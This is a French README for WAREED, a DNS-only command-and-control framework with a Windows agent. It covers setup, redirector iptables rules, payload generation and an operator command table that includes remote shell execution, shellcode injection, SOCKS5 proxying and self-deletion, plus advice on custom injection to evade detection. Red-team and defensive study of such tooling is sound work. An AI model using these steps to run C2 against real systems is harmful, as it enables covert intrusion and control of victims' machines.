
Framework de commande et de contrôle exclusivement via DNS avec agent Windows, génération de payloads, exécution de shell à distance, injection de shellcode et prise en charge du proxy SOCKS5 pour les opérations furtives.

WAREED est un framework de commande et de contrôle (C2) qui utilise le protocole DNS pour des communications sécurisées entre le serveur et la cible. Conçu pour minimiser les communications et limiter l'échange de données, il est destiné à être un C2 de première étape pour persister sur des machines qui n'ont pas accès à Internet via HTTP/HTTPS, mais où le DNS est autorisé.
développé par : @Fsalabduljabbar

Bien que de nombreux frameworks de commande et de contrôle (C2) prennent en charge DNS comme protocole de transport, ils sont principalement conçus pour HTTP/HTTPS. Transposer ces frameworks vers DNS aboutit souvent à des opérations plus lentes et moins stables. Ayant été confronté à de nombreux défis liés à l'instabilité de ces frameworks pour les transactions DNS, j'ai été contraint de créer une solution spécifiquement adaptée à DNS. Le résultat est Wareed, un framework C2 exclusivement DNS. Cette spécialisation permet un fonctionnement plus stable et plus efficace, rendant Wareed plus rapide et plus fiable que les frameworks C2 traditionnels qui ne sont pas principalement conçus pour DNS. Cela fait de Wareed un choix idéal pour les environnements où le trafic DNS est autorisé mais où HTTP/HTTPS est restreint.
Il a été développé à l'aide de trois langages de programmation :
Explication des noms :
Hams (همس) signifie « murmure » en arabe
Wareed (وريد) signifie « veine » en arabe
Ather (أثر) signifie « trace » en arabe
Étape 1 : Clonez le dépôt Wareed :
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
Étape 2 : Exécutez le script d'installation :
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
Si le processus de compilation aboutit, deux fichiers exécutables seront générés dans le même répertoire :
il vérifie également l'état de compilation de l'Agent. En cas de succès, cela confirme que l'Agent est prêt à être déployé et opérationnel, ce qui est essentiel pour le fonctionnement du C2 Wareed.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: la longueur doit être égale à 3.
Configuration DNS : Pour utiliser Wareed, il est essentiel de posséder un nom de domaine valide. Après avoir acquis un domaine, deux enregistrements DNS doivent être configurés pour pointer vers le redirecteur :

Configuration du redirecteur :
Le redirecteur gérera le trafic DNS entrant sur le port 53 et le redirigera vers le serveur d'équipe. Pour ce faire, exécutez les commandes iptables suivantes sur la machine du redirecteur (R1) :
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
Cette commande configure le pare-feu pour accepter les paquets UDP entrants sur le port 53, qui est le port standard pour les requêtes DNS.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
Remplacez [TeamServer IP] par l'adresse IP réelle de votre serveur d'équipe et [teamserver listener port] par le numéro de port sur lequel votre serveur d'équipe écoute. Cette commande dirige tout le trafic arrivant sur le port 53 vers l'adresse IP et le port spécifiés du serveur d'équipe.

Pour démarrer le serveur d'équipe Wareed pour la première fois, vous devez spécifier le fichier de configuration ainsi que le mot de passe client et le port sur lequel le client écoutera. Utilisez la commande suivante pour exécuter le serveur d'équipe Wareed :
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Pour lancer le client GUI Ather, exécutez simplement :
./Ather
Après avoir exécuté la commande, une nouvelle fenêtre avec une page de connexion apparaîtra.

Détails de connexion : Dans la page de connexion qui apparaît :
Fenêtre principale de Wareed :

Pour générer une nouvelle charge utile avec le client GUI Ather, suivez ces étapes :
Accédez à la génération de charge utile :
Payload > Generate > Windows. La sélection de cette option ouvrira une nouvelle fenêtre adaptée à la génération de charge utile.
Après la génération d'une nouvelle charge utile, une nouvelle session invitée est automatiquement enregistrée auprès du serveur d'équipe. Ce processus d'enregistrement garantit que seule cette session spécifique peut se connecter au serveur d'équipe. Il utilise un identifiant unique et une « valeur magique » pour authentifier et autoriser la session. Ce mécanisme assure une communication sécurisée et contrôlée entre la charge utile nouvellement générée et le serveur d'équipe.

Après avoir exécuté la charge utile sur une machine Windows, elle commencera à générer des requêtes DNS pour s'enregistrer auprès du serveur d'équipe. Ce processus d'enregistrement se produit en quelques secondes et implique généralement la génération de 3 à 5 requêtes DNS.

Pour interagir avec une session, faites un clic droit sur la session souhaitée et sélectionnez « Interact » dans le menu contextuel. Cette action ouvrira un nouvel onglet avec une interface de terminal. Dans ce terminal, vous pouvez exécuter des commandes

| Commande | Description | Utilisation | Exemple |
|---|---|---|---|
| help | Affiche le message d'aide de la commande spécifiée | [command] | help shell |
| sleep | définit le délai de sommeil avec jitter | [delay] [jitter] | sleep 10 50 |
| shell | exécute des commandes cmd.exe et récupère la sortie | [commands] | shell dir c:\windows\system32 (ne le faites surtout pas) |
| inject | injecte un shellcode dans un processus distant | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | démarre un proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | arrête un proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | ajoute un nouveau domaine de callback | [domain_name] | adddomain example.com |
| deldomain | supprime un domaine de callback | [domain_name] | deldomain example.com |
| listdomain | liste tous les domaines de callback actifs | listdomain | |
| kill | Termine le processus actuel. | [yes] | kill yes |
| wipe | Termine et supprime le processus actuel. | [yes] | wipe yes |
| selfdel | Supprime le processus actuel du disque. | [yes] | selfdel yes |
| tasklist | Liste toutes les tâches en file d'attente | tasklist | |
| taskdel | Supprime une tâche spécifique par son ID | [task id] | taskdel 123 |
| tasksclean | Supprime toutes les tâches de la file d'attente | [yes] | tasksclean yes |
| clear | efface l'écran du terminal | clear |
Remarque : La commande
injectest simple mais souvent détectée par les contrôles de sécurité. Pour améliorer la furtivité, vous devez implémenter votre propre technique d'injection. Modifiez le code d'injection dansAgent/Source/Core/Tasks/Modules/Injection.c. Voici un modèle de base pour personnaliser la fonction d'injection :
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
Pour nettoyer la base de données, exécutez simplement la commande suivante dans votre terminal :
./Run clean
Bien que je n'aie pas de projets immédiats de continuer à investir du temps dans le projet Wareed, ce fut une incroyable expérience d'apprentissage, et j'en ai énormément profité. Je suis ravi d'annoncer que je prévois de lancer un nouveau projet majeur, THAWD BAS. Pour plus d'informations, veuillez visiter Thawd.io.
Si vous avez des compétences en développement et êtes intéressé(e) à contribuer à Wareed, voici quelques opportunités :
Ce travail n'aurait pas pu être accompli sans la contribution de plusieurs projets open-source exceptionnels :
DNSStager par - @mohammadaskar2
Boomerang par - @NinjaParanoid
delete-self-poc par - @LloydLabs